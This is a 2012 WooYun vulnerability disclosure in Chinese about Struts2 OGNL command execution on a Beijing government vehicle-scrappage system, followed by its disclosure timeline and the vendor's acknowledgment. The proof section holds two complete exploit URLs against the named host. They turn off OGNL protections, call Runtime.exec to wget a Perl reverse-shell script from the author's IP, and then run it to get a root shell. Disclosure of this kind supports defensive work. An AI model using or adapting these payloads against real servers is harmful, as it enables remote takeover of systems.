漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2012-013030
漏洞标题:北京市老旧机动车淘汰更新管理信息系统strust2另类方法执行命令
相关厂商:北京市老旧机动车淘汰更新管理信息系统
漏洞作者: asmc
提交时间:2012-10-04 08:57
修复时间:2012-11-18 08:58
公开时间:2012-11-18 08:58
漏洞类型:命令执行
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2012-10-04: 细节已通知厂商并且等待厂商处理中
2012-10-07: 厂商已经确认,细节仅向厂商公开
2012-10-17: 细节向核心白帽子及相关领域专家公开
2012-10-27: 细节向普通白帽子公开
2012-11-06: 细节向实习白帽子公开
2012-11-18: 细节向公众公开
简要描述:
直接以root权限执行命令
详细说明:
根据OGNL (Object Graph Navigation Language)解释,形如(foo)(bar)的表达,会将foo会被当作OGNL表达式解析,并且返回的结果也是一个OGNL的表达式
漏洞证明:
无法直接获取的命令的结果,所以这里我传了一个反向SHELL的PERL脚本上去:
1.
http://bjtgc.cbeex.com.cn/icar/user/index-comp!getSpecBySpecId.action?specId=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27wget http://公网IP/bs.txt 80%27%29%29%28meh%29&z[%28specId%29%28%27meh%27%29]=true
2.
http://bjtgc.cbeex.com.cn/icar/user/index-comp!getSpecBySpecId.action?specId=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27perl bs.txt 我的IP 80%27%29%29%28meh%29&z[%28specId%29%28%27meh%27%29]=true
修复方案:
再升,级数不够高
版权声明:转载请注明来源 asmc@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2012-10-07 00:11
厂商回复:
CNVD确认漏洞情况,与近期政府网站struts类漏洞统一下发CNCERT分中心或北京市信息化主管部门处置。
按通用软件漏洞进行评分,rank 10
最新状态:
暂无